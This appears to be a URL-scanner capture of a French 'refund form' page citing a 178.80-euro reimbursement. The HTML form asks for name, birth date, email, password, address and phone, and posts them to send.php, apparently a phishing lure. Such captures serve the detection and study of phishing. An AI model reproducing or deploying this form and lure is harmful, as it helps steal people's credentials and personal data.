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Submission: On February 15 via manual from FR — Scanned from FR

Form analysis 1 forms found in the DOM

Name: go — POST send.php

<form id="go" name="go" method="POST" action="send.php">
  <table border="0" cellspacing="0" height="273">
    <tbody>
      <tr>
        <td class="" align="">Nom&nbsp;<span id="saisie_obligatoire_texte0">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input style="" class="validate[required]" tabindex="1" maxlength="13" id="nom" name="nom" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">Prénom&nbsp;<span id="saisie_obligatoire_texte1">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input id="prenom" name="prenom" tabindex="3" maxlength="8" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">Date&nbsp;de&nbsp;Naissance&nbsp;<span id="saisie_obligatoire_texte2">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <select autocomplete="off" id="ccmplus_expiration" name="dob1">
            <option value="" selected="selected">Jours</option>
            <option value="1">01</option>
            <option value="2">02</option>
            <option value="3">03</option>
            <option value="4">04</option>
            <option value="5">05</option>
            <option value="6">06</option>
            <option value="7">07</option>
            <option value="8">08</option>
            <option value="9">09</option>
            <option value="10">10</option>
            <option value="11">11</option>
            <option value="12">12</option>
            <option value="23">23</option>
            <option value="24">24</option>
            <option value="25">25</option>
            <option value="26">26</option>
            <option value="27">27</option>
            <option value="28">28</option>
            <option value="29">29</option>
            <option value="30">30</option>
            <option value="31">31</option>
          </select>
          <select autocomplete="off" id="ccmplus_expiration" name="dob2" class="month validate-cc-exp required-entry">
            <option value="" selected="selected">Mois</option>
            <option value="1">01</option>
            <option value="2">02</option>
            <option value="3">03</option>
            <option value="4">04</option>
            <option value="5">05</option>
            <option value="6">06</option>
            <option value="7">07</option>
            <option value="8">08</option>
            <option value="9">09</option>
            <option value="10">10</option>
            <option value="11">11</option>
            <option value="12">12</option>
          </select>
          <select autocomplete="off" id="ccmplus_expiration_yr" name="dob3" class="year required-entry">
            <option value="" selected="selected">Année</option>
            <option value="2005">2005</option>
            <option value="2004">2004</option>
            <option value="2003">2003</option>
            <option value="2002">2002</option>
            <option value="2001">2001</option>
            <option value="2000">2000</option>
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            <option value="1990">1990</option>
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            <option value="1977">1977</option>
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            <option value="1973">1973</option>
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            <option value="1965">1965</option>
            <option value="1964">1964</option>
            <option value="1963">1963</option>
            <option value="1962">1962</option>
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            <option value="1952">1952</option>
            <option value="1951">1951</option>
            <option value="1950">1950</option>
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            <option value="1947">1947</option>
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            <option value="1938">1938</option>
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            <option value="1934">1934</option>
            <option value="1933">1933</option>
            <option value="1932">1932</option>
            <option value="1931">1931</option>
            <option value="1930">1930</option>
            <option value="1929">1929</option>
            <option value="1928">1928</option>
            <option value="1927">1927</option>
            <option value="1926">1926</option>
            <option value="1925">1925</option>
            <option value="1924">1924</option>
            <option value="1923">1923</option>
            <option value="1922">1922</option>
            <option value="1921">1921</option>
            <option value="1920">1920</option>
            <option value="1919">1919</option>
            <option value="1918">1918</option>
            <option value="1917">1917</option>
            <option value="1916">1916</option>
            <option value="1915">1915</option>
            <option value="1914">1914</option>
            <option value="1913">1913</option>
            <option value="1912">1912</option>
            <option value="1911">1911</option>
            <option value="1910">1910</option>
            <option value="1909">1909</option>
            <option value="1908">1908</option>
            <option value="1907">1907</option>
            <option value="1906">1906</option>
            <option value="1905">1905</option>
            <option value="1904">1904</option>
            <option value="1903">1903</option>
            <option value="1902">1902</option>
            <option value="1901">1901</option>
          </select>
        </td>
      </tr>
      <tr>
        <td class="" align="">Adresse email&nbsp;<span id="saisie_obligatoire_texte3">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input id="email" name="email"="3"="" maxlength="50" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">Mot de Passe&nbsp;<span id="saisie_obligatoire_texte4">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input tabindex="3" maxlength="30" id="passe" name="passe" type="password">
        </td>
      </tr>
      <tr>
        <td align="">Ligne d'adresse&nbsp;1<span id="saisie_obligatoire_texte5">
            <font color="#FF0000"> *</font>
          </span>: </td>
        <td>
          <input tabindex="3" maxlength="80" id="adresse" name="adresse" type="text">
        </td>
      </tr>
      <tr>
        <td align="">Ligne d'adresse&nbsp;2 : </td>
        <td>
          <input tabindex="3" maxlength="80" id="adresse2" name="adresse2" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">Ville&nbsp;<span id="saisie_obligatoire_texte6">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input tabindex="3" maxlength="8" id="ville" name="ville" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">Code Postale&nbsp;<span id="saisie_obligatoire_texte7">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input tabindex="3" maxlength="5" id="postale" name="postale" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">Numéro de téléphone&nbsp;<span id="saisie_obligatoire_texte9">
            <font color="#FF0000">*</font>
          </span>: </td>
        <td>
          <input tabindex="3" maxlength="10" id="tele" name="tele" type="text">
        </td>
      </tr>
      <tr>
        <td class="" align="">&nbsp;</td>
        <td>
          <br>
          <div class="bloc_bouton">
            <input type="image" value="Valider" name="go" src="valider.png" style="float: right">
          </div>
        </td>
      </tr>
    </tbody>
  </table>
</form>

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Formulaire de remboursement , reference JHL52-FR/2023 . Montant : 178.80 euros. 
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23 24 25 26 27 28 29 30 31 Mois 01 02 03 04 05 06 07 08 09 10 11 12 Année
200520042003200220012000199919981997199619951994199319921991199019891988198719861985198419831982198119801979197819771976197519741973197219711970196919681967196619651964196319621961196019591958195719561955195419531952195119501949194819471946194519441943194219411940193919381937193619351934193319321931193019291928192719261925192419231922192119201919191819171916191519141913191219111910190919081907190619051904190319021901
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